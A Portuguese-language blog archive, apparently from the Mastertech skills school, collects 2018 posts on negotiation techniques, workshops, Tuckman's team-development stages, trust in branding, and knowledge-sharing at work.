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Técnicas de negociação

Abril 24, 2018 in Blog

“Negociar” costuma ser uma ação associada a dinheiro, ao universo corporativo ou a reuniões de líderes mundiais. Em raros momentos do nosso cotidiano notamos que a negociação é, na verdade, um processo natural da vida em sociedade. Pode ficar claro quando tentamos convencer um vendedor de nos oferecer um desconto, mas em situações como a organização da ceia de Natal e a discussão sobre quem vai levar o que, por exemplo, a negociação pode não estar visível até nos perguntarmos: “alcançamos um acordo?”

Porque negociar é essencialmente isso: buscar um acordo que satisfaça ambas as partes por meio de pensamento analítico e argumentação.

Desenvolver as habilidades certas para dominar uma negociação, portanto, é essencial. O objetivo é adquirir prática a fim de apresentar justificativas que terão um resultado concreto para o acordo e, consequentemente, para seu propósito com a negociação, seja ele pessoal ou profissional.

Mas como alcançar essa prática? É o que vamos responder neste artigo.

 

DOMINANDO UMA NEGOCIAÇÃO

O ato de negociar pode parecer natural e instintivo para quem assiste de fora, mas apesar de o instinto ocupar uma posição influente para quem sabe utilizá-lo bem no processo, a atividade também exige técnica, raciocínio lógico, habilidades de comunicação e bastante estudo.

Assim, o primeiro passo em direção ao domínio dos requisitos citados é se familiarizar com o percurso mais comum de uma negociação bem sucedida. Observe as etapas abaixo:

1- Preparação: esse primeiro passo é o que exige mais estudo e o que vai proporcionar maior segurança para sua argumentação. Isso porque se trata do momento de pesquisa sobre o contexto da negociação, a pessoa com quem se negocia e os métodos mais apropriados para alcançar o resultado almejado com base nas informações que reuniu.

2- Planejamento: defina um objetivo claro e tente visualizar os efeitos da negociação assim que chegar ao fim. Prepare-se para possíveis desfechos, sejam eles positivos ou negativos. Assim, é mais fácil “esboçar” a negociação como um todo e buscar respostas para prováveis questões que apareçam no caminho.

3- Acordos: A palavra de ordem é: fatos! Procure ser objetivo na sua argumentação, utilizando dados reais e informações que acrescentem credibilidade para o seu discurso. Durante a negociação, é importante utilizar as justificativas corretas no tempo certo, por isso, conhecimento é tão importante. Acordos fundamentados em fatos disponibilizam os recursos necessários para contornar objeções e lidar com possíveis concessões.  

4- Avaliação: trata-se do pós-negociação. É o momento de recordar suas ações e postura a fim de visualizar pontos forte e fracos. Pergunte-se: o resultado almejado foi atingido? E independente da resposta, siga com um: por quê? Avaliar sua performance é a melhor maneira de evitar erros no futuro e aperfeiçoar sua técnica.

5- Manutenção: pensar em formas de manter o resultado da negociação vivo, conservando o relacionamento construído.

É evidente que algumas pessoas possuem maior facilidade ou um instinto que se desenvolveu com as experiências que tiveram ao longo de sua jornada profissional (ou mesmo a nível pessoal), mas treinamento e estudo são essenciais em qualquer situação e capazes de potencializar o(a) negociador(a) que existe em todos nós. Ou seja, a habilidade de negociação não é um dom, mas consequência de treinamento e estudo.

 

TÉCNICA DE NEGOCIAÇÃO

1 – Os três pilares

De acordo com Herb Cohen, especialista em negociação que já prestou consultoria para organizações como o FBI e o Departamento de Justiça dos Estados Unidos, a ciência da negociação se baseia em três pilares: conhecimento, tempo e poder.

Conhecimento: é fundamental que você reúna o máximo de informações sobre todos os fatores que envolvem a negociação. Observe negociações anteriores e presquise. Eforce-se para compreender motivações e identificar a postura da pessoa com quem está negociando. Quanto mais informação, melhor a argumentação.

Tempo: a identificação dos momentos mais oportunos para apresentar ou questionar uma proposta exige treinamento. A melhor forma de perceber o tempo de uma negociação é observar e refletir sobre os acordos realizados por outras pessoas. Pesquise e atente a detalhes. O objetivo é que você alcance a capacidade de conduzir a negociação no seu ritmo.

Poder: aqui, não é sinônimo de autoritarismo ou superioridade, mas de uma postura segura, adquirida por meio da busca do primeiro pilar (conhecimento). O poder da informação vai te tornar uma figura influente na negociação.

 

2 – A postura

Quando se trata da busca por um acordo qualquer, as atenções externas costumam estar concentradas no motivo da negociação, em detrimento do processo para alcançar o resultado. Mas para quem integra uma das partes, é preciso equilibrar a dedicação entre todos os fatores envolvidos.

Um dos mais relevantes é a postura. Em vez de “o que está sendo negociado?”, o posicionamento que você define vai conspirar contra ou a favor do seu resultado ao basear-se em “como está sendo negociado?”

A postura do negociador encaixa-se em duas categorias principais e deve ser considerada e definida antes de iniciar a busca por um acordo:

Resultado imediato: caracteriza os negociadores que não consideram o pós-negociação, apenas o momento, o resultado imediato. Essa postura também é chamada de ganha-perde, porque uma ou ambas as partes não dão importância para o efeito do acordo para o outro.

Consideração pelo futuro: postura oposta à anterior, onde prevaleve a vontade de manter uma relação positiva com a outra parte, considerando o melhor acordo para ambos e as possíveis negociações futuras.

 

3. Os estilos

Conhecer o máximo possível sobre a pessoa com quem se negocia e entender seu processo lógico e postura durante uma negociação são fatores que simplificam o caminho para um acordo satisfatório. Mas é importante não se limitar a obter informações práticas sobre a outra parte, como o histórico acadêmico ou aptidões. Observe também o seu comportamento e estilo de negociação.

Em “Negociar é Preciso”, o pesquisador e consultor Richard Shell diferencia dois estilos de negociadores:

Estilo Competitivo: esse estilo de negociador trata a negociação como um jogo a ser vencido. Aguarda as ações da outra parte para reagir de maneira a beneficiar a si próprio(a), sem considerar as consequências para a pessoa com quem negocia. Oferece poucas concessões e faz ofertas abstratas e, por vezes, intangíveis.

Estilo Cooperativo: para esse estilo, o outro negociador não é um adversário. Adotam a postura de consideração pelo futuro do acordo e estão mais abertos a ouvir propostas e revelar informações para o bem do acordo, além de apresentarem propostas realistas.

Consegue identificar seu estilo? Acha que ele tem funcionado?

O estilo de negociador deve se adaptar ao tipo de negociação, por isso é tão importante entender o contexto e conhecer as pessoas envolvidas.

Por que eu devo fazer um workshop hoje?

Abril 17, 2018 in Blog

É isso mesmo! Você deve correr atrás de fazer um workshop o mais rápido possível. E se você não acredita nos benefícios que ele pode trazer para a sua carreira, vem com a gente!

Primeiro, que coisa é essa de Workshop?

Acho bem difícil você não conhecer ou não ter a menor ideia do que se trata essa palavrinha, mas vamos lá. Workshop é a palavra usada para nomear uma reunião de um grupo de pessoas interessadas em determinado assunto.

Pode ser uma discussão sobre um tema de interesse comum aos membros presentes. Ele pode ser um seminário, grupo de discussão, troca de ideias e demonstração ou aplicações de técnicas e habilidades.

É a mesma coisa que palestra?

Não! Quando falamos de palestra, falamos de uma exposição de ideias que parte apenas de uma pessoa. Quando você vai até uma, você provavelmente vai ficar sentado observando atento a cada frase que o palestrante diz, certo? E no final, você volta para a sua casa com o conhecimento baseado nas ideias do palestrante, não é?

Quando se trata de workshop, não funciona assim. A sua voz será ouvida e você vai estar em constante diálogo com quem está dando a aula. Dessa forma, você volta para a casa com o conhecimento que te passaram e com as ideias que você adquiriu durante as horas que esteve imerso naquele assunto específico.

Workshop = Prática!

Esse tipo de evento é mais parecido com uma oficina, onde o objetivo é se aprofundar em determinado assunto de forma prática. Ou seja, estamos falando de diversas pessoas conversando e dividindo experiências sobre um conteúdo.

Por exemplo, já pensou imaginou como seria um workshop de Inbound Marketing? Eu fiz um na Mastertech com a Ana Gabriela, e foi incrível. Em três horas, ela comentou o que era o Inbound, como funciona, quais eram as estratégias usadas, e por fim, ela aplicou uma atividade em grupo.

Naquele dia, eu fiz grupo com um homem muito simpático chamado Zhang, e montamos nossa estratégia de Inbound Marketing para uma Pizzaria Vegana fictícia. No final da aula, apresentamos as ideias aos demais grupos, e eles fizeram novas sugestões.

E nem preciso comentar que sai de lá com muita vontade de criar de verdade essa pizzaria né?

Então como funciona esse curso?

O importante para um workshop bem sucedido é que os participantes tenham ampla experiência prática. Geralmente o evento é iniciado com uma exposição da técnica que será abordada, é seguido por uma discussão dos participantes em grupos e é finalizado com uma conclusão, na qual os resultados de cada grupo são analisados.

Alguns professores, gostam de introduzir o assunto e separar os alunos em equipes. Assim, cada participante pode receber um caso prático a ser estudo e criar resultados em grupo. Após certo tempo dedicado à discussão, os grupos podem apresentar suas conclusões e todos analisam e conversam sobre como se deu o projeto, seus pontos positivos e como poderia ter sido feito de uma forma melhor.

Com os participantes interagindo intensamente com o tema, a ideia é que os conhecimentos sejam adquiridos por meio da experiência conjunta, estimulando a criatividade e a troca de informações entre participantes e facilitadores.

Não dura uma eternidade!

Se seu objetivo é um curso com duração de semanas ou meses, o workshop não é para você.

Um dos grandes diferenciais desse tipo de curso é a sua duração curta. Os mais longos podem durar no máximo 8 horas, ocorrendo em um único dia. Isso é ótimo para quem tem o tempo corrido, estuda, trabalha, e ainda assim precisa de conhecimentos práticos sobre alguns assuntos.

É importante que você entenda que mais tempo não significa que você vai aprender mais. Provavelmente você fez uma faculdade de três a cinco anos, certo? Agora quanto desse conteúdo você realmente colocou em prática e ainda lembra?

Enquanto faculdades ensinam muita teoria que te prepara com o básico para ingressar no mercado de trabalho, algumas escolas de habilidades estão investindo em cursos com durações menores e com foco na prática de atividades exigidas no mercado de trabalho. Os workshops e bootcamps se encaixam nesses cursos.

Então deixe o seu preconceito de lado e aceite que cursos de algumas horas podem influenciar muito mais na sua carreira do que aqueles vários anos de teoria.

Quais os benefícios de fazer esse tipo de curso?

Em poucas horas de curso você vai:

> Aprender a prática de um conteúdo que pode fazer toda a diferença no seu projeto profissional

> Fazer networking, conhecer diversas pessoas e ideias, e quem sabe não sai da aula com amigos ou um emprego novo?

> Vai se aprofundar em assuntos do seu interesse

> Vai conseguir se especializar em áreas do seu conhecimento

> Praticar todo o conteúdo do início ao fim e ver seus resultados

> Pode praticar ideias do seu trabalho dentro da sala de aula

E por aí vai!

Ainda está na dúvida? O meu colega de Workshop de Inbound, o Zhang, deixou um depoimento incrível sobre a experiência dele:

“Descobri que existe uma maneira mais eficiente de fazer divulgação personalizada sem ser invasivo, o curso Inbound Marketing da Mastertech, me permitiu ter uma noção mais clara sobre o entendimento do consumidor como foco. No final tivemos uma dinâmica onde pude colocar toda a teoria em prática junto com a minha dupla Larissa Chinaglia, na qual realizamos a construção de uma pizzaria vegana e todas as ações nos pontos de contato para atrair o cliente e fidelizar. Foi muito divertido!“

E para quem é o workshop?

Para todos! Não existem regras para fazer um workshop.

  • É um estudante? Então é para você. Essa é uma ótima oportunidade de aprofundar seus conhecimentos em alguma área, conhecer conteúdos novos, ganhar prática e experiência, e garantir um currículo que se sobressai aos concorrentes. Além disso, você pode garantir algumas horas complementares.
  • Está procurando um emprego novo? Precisa de experiência em uma área que você acha muito legal e está louco para conhecer? Corre para um workshop.
  • Precisa aprender algo para aplicar no seu emprego atual? Então a melhor opção é dar uma chance para cursos de curta duração e com foco na prática. Você vai dividir seus conhecimentos e aprender mais, e na segunda-feira vai conseguir colocar tudo em prática na sua empresa.

E eu posso fazer workshop do que?

DE TUDO! Hoje em dia você encontra workshops de tudo que imaginar: marketing e comidas, moda e escrita, tecnologia e marcenaria, design e dança. E por aí vai. A Mastertech, escolas de habilidades do século XXI tem diversas aulas divididas entre as áreas de marketing, design, negócios e tecnologia. Todos com duração de três horas e com certificado no final.

Agora é a melhor hora para você procurar cursos de curta duração nas áreas que mais te interessam e dar um salto na sua carreira.

5 estágios de desenvolvimento de equipe que todo líder deve conhecer

Abril 10, 2018 in Blog

O modelo de desenvolvimento de equipe na empresa em que trabalho é o básico do gerenciamento de equipes, e acredito que a maioria de vocês os conhece. Mas eu não quero falar sobre gerenciamento de equipe, quero discutir a liderança da equipe. Porque acredito que um líder se esforça para perceber o potencial de seus membros de equipe ao atingir o objetivo do projeto enquanto um gerente simplesmente distribui tarefas. Hoje em dia ninguém quer ser tratado como um recurso, por isso acredito que a liderança é uma forma mais viável e saudável de alcançar resultados notáveis.

Então, vamos examinar os estágios de desenvolvimento de uma equipe e o papel de um verdadeiro líder em cada um desses estágios.

Sobre o modelo
O psicólogo Bruce Tuckman surgiu pela primeira vez com a frase “formar, atacar, normalizar e performar” em seu artigo de 1965, “Sequência de desenvolvimento em pequenos grupos”. Foi assim que ele descreveu o caminho que a maioria das equipes segue para atingir o alto desempenho. Mais tarde, ele acrescentou um quinto estágio, o “adiamento” (que às vezes é conhecido como “luto”).

Vamos analisar cada etapa em detalhes e ver qual envolvimento é necessário de um líder.

Depois de algum tempo, uma equipe passa para uma fase de storming. Os membros da equipe começam a empurrar os limites estabelecidos no estágio de formação. Esta é a fase onde muitas equipes falham. 

Geralmente começa a haver um conflito entre os estilos de trabalho naturais dos membros da equipe. Todo mundo tem sua própria abordagem de trabalho, e o sucesso da equipe depende de uma comunicação adequada e da disposição para se comprometer. No entanto, se diferentes estilos de trabalho causarem problemas imprevistos, eles podem ficar frustrados. O líder deve sentir tendências negativas dentro da equipe e gerenciar os conflitos com eficiência.

Se você não definiu claramente como a equipe funcionará, as pessoas poderão se sentir sobrecarregadas com a carga de trabalho ou se sentirão desconfortáveis ​​com a abordagem que você está usando.  Alguns podem questionar o objetivo da equipe e resistir a aceitar tarefas por causa disso.

Os membros da equipe que continuam trabalhando duro e podem ficar ainda mais estressados ​​sem o apoio de outros processos estabelecidos.

Papel do líder: reduza a tensão dentro de sua equipe, gerencie conflitos, permaneça comprometido com os objetivos e lidere pelo exemplo. Se as coisas piorarem e os conflitos forem frequentes, organize uma sessão de feedback ou um exercício de moderação com um moderador externo.

Normalizando

Aos poucos, a equipe entra no estágio de normalização. Os membros da sua equipe entendem sua função no projeto e começam a respeitar sua autoridade como líder. Eles aprendem a lidar com as diferenças e a valorizar os pontos fortes dos colegas.

Agora, os membros de sua equipe se conheceram melhor, podem começar a se socializar juntos e até mesmo pedir ajuda ou fornecer feedback construtivo. Eles desenvolvem um compromisso mais forte com o objetivo da equipe e os primeiros resultados aparecem.

Papel do líder: motivar os membros da equipe com os primeiros resultados, mostrar a eles que estão no caminho certo.

Realizando

Esta é a fase da máxima eficiência e produtividade, todos gostam de trabalhar juntos e ver o progresso em direção aos objetivos.

Papel do líder: como líder, você pode delegar muito do seu trabalho e se concentrar no desenvolvimento de membros da equipe. Aqui está o seu tempo para melhorar suas habilidades de desenvolvimento de talentos, mentoring e coaching, porque sua equipe gerencia todo o processo de trabalho sem o seu envolvimento direto.

Adiamento / Luto

Muitas equipes chegarão a esse estágio eventualmente. Por exemplo, algumas equipes existem apenas para um projeto e até equipes permanentes podem ser realocadas por meio de uma reestruturação organizacional.

Os membros da equipe que têm medo de mudanças, ou que se tornaram amigos próximos dos colegas, podem achar difícil esse estágio porque seu futuro agora parece incerto.

Papel do líder: facilite a reinvenção de valores e experimente a reflexão. Além disso, o trabalho do líder da equipe é sugerir as formas de permanecer em contato com outros membros da equipe, mesmo após o projeto. Uma experiência intensa que todos vocês passaram trabalhando juntos é uma ótima ferramenta de ligação, então não é nenhuma surpresa se você se tornar um bom amigo depois.

Traduzido e adaptado de: https://medium.com/swlh/team-development-stages-51df5606c0a2

Confiança é a matéria-prima para o sucesso nos negócios

Abril 3, 2018 in Blog

Ultimamente tenho pensado muito no conceito de confiança e no impacto que o verbo confiar tem nas nossas vidas e reparei que a questão da confiança permeia praticamente todos os nossos atos – dos mais simples e prosaicos até os mais grandiosos – e é o elemento fundamental e determinante da qualidade de todas as relações pessoais e profissionais que desenvolvemos.

Justamente em função da sua onipresença em todos os atos e relações, a confiança é testada todos os dias, em todas as ações e pontos de contato. Cada interação representa um teste. Se o resultado for positivo, a confiança se mantém ou cresce e se for negativo, diminui ou desaparece. Por causa dessa fluidez e inconstância, a conquista da confiança está entre os maiores desafios para as empresas e marcas.

Imagine que você oferece um produto e o processo de oferta e compra corre perfeitamente, satisfazendo completamente o cliente. Teoricamente a confiança do cliente foi conquistada. Na prática, essa confiança sempre poderá ser abalada em algum momento por causa de alguma limitação do produto ou até por causa da ação de algum terceiro envolvido no processo. Isso torna todo o processo de branding, marketing e comunicação ainda mais desafiador para quem tem a missão de transformar consumidores em clientes ou até em advogados da marca.

É interessante perceber que a alquimia da confiança é complexa, delicada e cheia de variações.

A palavra confiança vem do latim e significa “com fé”, o que nos coloca diante do seu significado mais abrangente. De fato, para confiar em qualquer coisa é preciso ter uma expectativa de que aquilo não vai lhe fazer mal ou causar prejuízo. Essa expectativa tem duas fontes possíveis: a razão – que surge quando tenho dados e fatos que me levem a crer em alguma coisa ou alguém – e emoção, que é aquele sentimento que surge quando desejo acreditar que aquilo vai ser bom para mim.

Mas expectativa é só um lado da confiança, o outro é a experiência. Se a experiência for boa, a relação tem sabor agradável e gosto de “quero-mais”. Mas se for ruim, ela pode se tornar ácida, azeda ou totalmente intragável. Embora tudo indique que a experiência tem como fonte avaliações racionais, baseadas em fatos concretos, é preciso ter em mente que a experiência também tem a ver com percepção, com as sensações que são geradas nas pessoas e que, por definição, são subjetivas. Então, novamente, estamos diante do imponderável.

Por conta da complexa mistura de razão e emoção, fatos e percepção, expectativa e experiência, a confiança está para os relacionamentos como a água está para o corpo humano: representa 70% do todo e conduz todos os sistemas, garante a saúde e o bom funcionamento de tudo.

Vou deixar mais claro com um exemplo: uma amiga me contou que por quase 10 anos teve uma máquina de lavar de uma determinada marca que não era a líder de mercado. Quando foi comprar uma nova, nem olhou outras marcas porque já confiava naquela. Assim, quando depois de duas semanas da instalação da nova aquisição, ela começou a notar um vazamento na sua área de serviço. Na hora, desconfiou da lavadora e chamou a assistência técnica. Naquela altura já estava morrendo de medo de ter feito a escolha errada na hora da compra. Na visita, o técnico afirmou o eletrodoméstico estava perfeito e que a fonte do vazamento era a torneira onde ele tinha sido ligado. Minha amiga me disse que, apesar de saber que o consertar o vazamento acabaria saindo mais caro, foi um alívio saber que a culpa não era da máquina de lavar. Afinal, isso provou que ela tinha, sim, confiado na marca certa, que a marca não a havia decepcionado.

Quando ouço um relato como esse não consigo deixar de pensar em como a confiança é líquida e sensível a fatores externos – é como as marés que mudam conforme as fases da Lua. Dez anos de relacionamento com a marca da lavadora construíram a fidelidade dela, mas o surgimento de uma suspeita a deixou insegura. Por isso ela ficou tão feliz em saber que a lavadora não a havia traído. Como a lavadora ainda estava na garantia, chamar o encanador para consertar a torneira lhe custou muito mais caro. Mesmo assim ela ficou contente por ter confiado na marca certa. O fato é que o consumidor se sente mais feliz quando tem sua confiança correspondida. É uma dinâmica talvez mais emocional quanto racional.

Isso mostra bem que como toda relação está baseada do princípio da troca, do dar e receber. Você compra um produto e espera ter suas expectativas atendidas. Essa mecânica é mais complexa quando se trata de serviços.

Em qualquer atividade do setor de serviços existe uma variável muito difícil de controlar: a empatia entre o representante de uma empresa e o cliente. Um tom errado ou uma reação descuidada pode fazer a confiança do consumidor evaporar. Há alguns anos, ainda antes das redes sociais, uma determinada marca de jeans brasileira acabou ficando antipatizada por muitas clientes por causa do atendimento das vendedoras na sua loja mais antiga e badalada. A notícia foi correndo de boca em boca e as pessoas simplesmente comentavam umas com as outras que nunca mais entrariam na loja por causa da arrogância da equipe. A marca fazia jeans com qualidade, usava denim de primeira, o corte era impecável, sua comunicação era excelente, seus anúncios estavam em todas as revistas e ela participava das semanas de lançamento de moda. Mas a questão do atendimento colocava a tudo a perder. As clientes não confiavam que seriam bem tratadas nas lojas e passaram a comprar de outras marcas. Outro aspecto da confiança: o dono da marca confiou nas pessoas erradas ou estava excessivamente confiante na qualidade do seu produto que não percebeu o que estava acontecendo. Há também a possibilidade de ele não ter tido alguém de confiança para lhe dizer claramente qual era o elo defeituoso da sua estratégia. Hoje a marca não está mais no mercado.

Por isso as empresas investem tanto na conquista da confiança do consumidor. O problema é que ao longo do último século, muitas investiram errado. Falaram mais do fizeram. Contaram estorinhas excelentes em seus filmes comerciais, mas não fizeram história. A estratégia de fazer mais storytelling do que storydoing acabou saindo pela culatra. O resultado é que hoje o consumidor está cada vez mais desconfiado.

Essa sensação de desconfiança gera um paradoxo bem difícil de ser enfrentado pelos profissionais de marketing: quanto mais sucesso uma empresa faz, mas visível e vulnerável ela se torna para os “haters”.

Esses “haters” começam a achar que quanto mais dinheiro uma empresa coloca em publicidade, menos confiável ela é. Dependendo dos sentimentos do consumidor em relação a uma marca, ele tenderá a interpretar as campanhas publicitárias mais intensas como uma tentativa de lavagem cerebral – portanto, todo o investimento da marca não só não vai surtir o efeito desejado como vai acabar fomentando desconfiança. Ou, o que é pior, mexendo com as expectativas dos consumidores fieis, que são os que mais sofrem com as decepções provocadas pelas marcas em que confiavam.

Um banco que faz uma campanha publicitária dizendo que apoia o empreendedorismo vai decepcionar fortemente seus clientes que, quando forem na agência em busca de apoio, acabarem recebendo um tratamento frio e desdenhoso do gerente. O filme comercial e o anúncio geram uma expectativa e quando a realidade não corresponde, a decepção é tão grande que vira mágoa, se torna ofensa pessoal. Antes da internet, esse tipo de decepção ficava restrita ao círculo pessoal dos clientes, hoje ela vai parar nas redes sociais e ganha volume e alcance capazes de causar um dano considerável à imagem do anunciante que resolveu dourar a pílula.

Por isso é tão importante ter bom senso. A publicidade é, ainda, a melhor forma de alcançar as pessoas. Mas como o espírito crítico do consumidor está cada vez mais aguçado, as campanhas precisam encontrar o tom certo e anunciar o que a empresa efetivamente entrega. Isso gera confiança no público e também nos colaboradores da empresa. Recentemente outro banco fez uma campanha dizendo que estava ligando para os clientes para oferecer alternativas de crédito para evitar que eles atolassem ainda mais fundo nas dívidas. Os correntistas do banco que tinham recebido telefonemas dos seus gerentes comentam isso com família e amigos e isso contribui para o aumento de confiança no trabalho deste banco. Por outro lado, os colaboradores do banco, que sabem que essa política é real, se sentem mais valorizados e confiantes. Ou seja, se você estiver falando a verdade, pode confiar no retorno dos seus investimentos em publicidade.

Falar e agir de acordo com a verdade o torna confiável. Simples assim.

Isso é uma questão de estratégia e está no campo de reflexões do livro SEM – Sistema de Estratégia Minimalista, particularmente quando falamos sobre os 4 Es que devem orientar os processos de gestão, marketing e comunicação.

Os 4Es e a Confiança

Quando se aplica os 4 Es – Elegância, Eficiência, Eloquência e Êxito – em uma empresa o que consegue é a geração de Confiança tanto externamente no seu produto final quanto internamente em seus processos operacionais e, claro, nas relações entre as pessoas que constroem a empresa.

Quando os princípios relacionados à Elegância são aplicados – especialmente a premissa de colocar o interesse e o conforto do cliente final no centro de todas as iniciativas – a tendência é que todos os profissionais se sintam mais seguros em relação ao seu papel na empresa e se sintam confiantes a ponto de buscar melhorar as entregas, o que nos leva à Eficiência.

O conceito de confiança está intimamente ligado tanto à construção de processos mais eficientes quanto à entrega de resultados para o cliente final. Empresas que trabalham em um clima de confiança interna são mais ágeis, mais sinérgicas. Os diferentes departamentos fazem seu trabalho sabendo que ele será honrado e valorizado pela etapa seguinte na cadeia produtiva. Por exemplo, em um restaurante, o maitre tem que confiar que o cozinheiro vai fazer o prato de acordo com o pedido do cliente, o chef tem que confiar que o responsável pelas compras trouxe os melhores ingredientes, e assim por diante. Cada especialista precisa confiar no profissional com quem tem interface. O resultado vai ser uma entrega melhor para o cliente final, o que tende a otimizar a realização dos resultados financeiros.

A Confiança também é a base da Eloquência. Um produto, serviço ou operação confiável fala por si mesmo, não precisa de milhões investidos em faz-de-conta. E tem mais um aspecto: quando as pessoas confiam em um produto, elas se tornam seu advogado e a marca ganha o melhor tipo de publicidade que existe: o boca-a-boca, que costuma vir cheio de entusiasmo e credibilidade.

Para completar, a presença de Confiança em todo processo produtivo acaba se materializando em Êxito.

Por isso, quando ocorre algum abalo importante na imagem das empresas, os prejuízos imateriais são tão grandes quanto as possíveis perdas em vendas ou participação de mercado.

Carne Fraca 

Recentemente a Operação Carne Fraca deixou claro que nos dias atuais de economia globalizada, uma crise de confiança pode ter repercussões de alcance planetário. Essa crise mostrou que uma quebra de confiança representa prejuízos financeiros imensos e imediatos.

Uma das empresas que enfrentou mais prejuízos com a divulgação da lista de envolvidos com corrupção foi a JBS, dona da marca Friboi, protagonista de uma série de campanhas publicitárias milionárias nos últimos anos. Embora as denúncias da Polícia Federal não tivessem a ver com a qualidade dos produtos, o público não perdoou. Em questão de horas, já havia uma onda de piadas com os protagonistas das campanhas circulando na internet. A crise de confiança gerada pelas possíveis ações de um executivo de uma unidade da empresa não só manchou o nome da marca Friboi como também machucou a credibilidade de personalidades que atuaram como garotos-propaganda da marca, como o ator Toni Ramos e o cantor Roberto Carlos, que ficaram com suas respectivas auras de credibilidade abaladas pela contaminação negativa provocada pela proximidade com a marca.

O fato é que tanto quanto os humanos, as empresas erram. Nesses casos, é importante reconhecer, ser transparente e corrigir rápido o erro de abordagem. Isso ajuda muito a recuperar a confiança do consumidor.

Não há como negar o impacto que o noticiário pode causar na confiança das pessoas em marcas, personalidades e instituições. Por isso, é muito importante que o público avalie com cuidado em que fontes pode confiar. Nesse campo, a questão que vem sendo debatida de forma recorrente se relaciona à credibilidade de fontes de notícias que não estão na imprensa tradicional, especialmente blogueiros e páginas de redes sociais. O que preocupa é notícias postadas em redes sociais e sites podem ser objeto de viralização artificial. Ou seja, a notícia não chega a milhões de compartilhamentos naturalmente e sim por meio de robôs que driblam as defesas dos mecanismos de busca e das redes sociais e usam seus algoritmos como plataforma de distribuição.

Um artigo recente na revista Forbes mostrou que a utilização de um software de inteligência artificial (AI) que, combinado com o Big Data que trazia os hábitos e preferências de milhões de pessoas, fez com que notícias anti-Hillary e pró-Trump chegassem com mais eficiência às pessoas mais inclinadas a concordarem com a plataforma política de Trump. Todo esse processo de geração de notícias, muitas vezes distorcidas ou falsas, combinado à entrega direcionada para uma audiência claramente inclinada a acreditar e a compartilhar essas notícias é uma forma de manipular o processo de comunicação utilizando a confiança que as pessoas têm na opinião dos amigos como arma política.

Confiança e sinergia

A dinâmica de expectativa e experiência que formam a alquimia da confiança se aplica de forma especialmente intensa quando aplicada à relação entre as empresas. Ações de co-branding e co-marketing tem como base a confiança de uma empresa em relação ao trabalho realizado pela outra que se expressa pelo histórico das empresas e da relação entre os profissionais encarregados de realizar a interface entre as empresas. Sim, é subjetivo. Mas a confiança, como já mencionado, tem um componente pessoal importante.

A possibilidade de confiar no trabalho e na competência de outras pessoas é, também, a base para a sinergia, força fundamental para o desenvolvimento das empresas. Sem confiança é impossível trabalhar junto e por isso é tão importante que os líderes dentro das empresas fomentem o clima de confiança e cooperação dentro das empresas.

Existe uma clara relação entre a confiança, redução de custos, aumento de produtividade e a geração de riquezas. É a lógica do vender “fiado”. Parece coisa de venda do interior antigamente, mas ainda é uma opção que existe em vários lugares. A venda “fiado” é baseada em confiança. Para o vendedor, a vantagem de dar crédito para o cliente é garantir a sua fidelidade. Com o tempo, ele descobre o que os seus clientes fiéis querem e gostam e isso o ajuda nas negociações com seus fornecedores. O vendedor sabe que terá que manter seus preços alinhados com os do mercado para não trair a confiança dos clientes, mas a constância das vendas é uma vantagem importante. Hoje o fiado tem outras vantagens: elimina o custo do dinheiro tanto para o vendedor quanto para o consumidor. O vendedor fica livre das taxas para utilização de cartões de crédito ou débito e o cliente fica livre da cobrança de juros. Isso mostra o quanto a confiança vale ouro, literalmente.

Afinal, seja em relações familiares, amorosas, profissionais, comerciais, empresariais ou institucionais, a confiança é a base de tudo.

A importância de compartilhar conhecimento no ambiente de trabalho

Março 27, 2018 in Blog

Para escrever este text, parti da reflexão do Oswaldo Oliveira sobre a falta de colaboração nos ambientes corporativos. Ele vai diretamente na etimologia da palavra, para nos provocar a reflexão sobre do que estamos falando de fato. Cito-o abaixo:

“Corporação (do latim corporis e actio, corpo e ação), é um grupo de pessoas que agem como se fossem um só corpo, uma só pessoa, buscando a consecução de objetivos em comum. Num sentido amplo é um grupo de pessoas submetidas às mesmas regras ou estatutos, e neste sentido é sinônimo de agremiação, associação ou ainda empresa.

Bem diferente da definição de colaboração:

Colaboração é a ação e o efeito de colaborar. Este verbo refere-se a trabalhar/cooperar em conjunto com outra(s) pessoa(s) para realizar um trabalho, uma obra ou um projeto.”

Quando pensamos em tantos projetos de empresas por aí usando de coworking e instrumentos de colaboração para trazer inovação para dentro de casa, eu sempre remeto à essa descrição perfeita. São iniciativas interessantes, mas em algum momento elas são corporativas na essência da palavra: o coletivo age com um corpo só, mesmo com a presença de diversos agentes externos. E se tem uma coisa importante que aprendi nestes anos cobrindo coworking é que devemos tratar essa palavra como um verbo, e não um local. Trabalhar em colaboração pode ser encaixado em um modelo de negócio, mas antes de tudo isso é um mindset, um estilo de vida.

E trazer isso para o ambiente corporativo de trabalho pode ser um grande problema, especialmente quando o coletivo preza pela captura de conhecimento e não o compartilha. Tenho vivido isso nos 2 últimos anos, voltando a trabalhar em empresas.

Dá pra mudar isso? É muito difícil, mas dá. Pequenas práticas podem começar, devagarinho, a instituir uma cultura e uma maneira mais orgânica de girar o conhecimento entre seus colegas.

Mas hoje eu queria primeiro te dar argumentos para pensar em colaboração nos ambientes colaborativos. Mais pra frente falarei de boas práticas.

Transformar o ambiente pelo altruísmo

Quando você entra num mindset colaborativo vindo de outros ambientes que não o são, você sente algo similar ao ambiente ao seu redor se transformando. É natural. A colaboração é um elemento altruísta no comportamento humano, e uma característica muito valorizada em profissionais diversificados. E também gera um comportamento de respeito e retribuição, o que é a identificação pelo altruísmo. Basta um pequeno gesto para que alguém retribua. Isso é bem poderoso em iniciativas sociais e também é em ambientes de trabalho. Uma informação dada pode, e deve, ser retribuída.

E a partir deste sentimento, pode-se criar um costume de compartilhar informações. Mas o importante aqui é não se ater a criar regras em cima disso — senão voltamos ao mindset corporativo, de obrigação e competição. Compartilhar algo é um movimento altruísta, lembre-se. E só com este sentimento ele terá seu valor reconhecido pelos seus pares. Altruísmo não é coisa para românticos, idealistas e santos, longe disso –, os altruístas são realistas, tanto a respeito de si mesmos como em relação ao mundo. E por isso mesmo, conscientes de esta virtude é uma habitualidade.

Encontrando o verdadeiro valor do conhecimento

Nessa linha de auto consciência quanto a altruísmo, podemos falar de desapego também. Ainda há pessoas que acham que o conhecimento dever ser tratado como um nicho onde uma única pessoa seja “dona da informação”. Vem da nossa criação tratar o conhecimento como um bem, assim como uma casa ou um carro. Quanto mais eu tenho, melhor estou, melhor profissional serei. O que é uma inverdade.

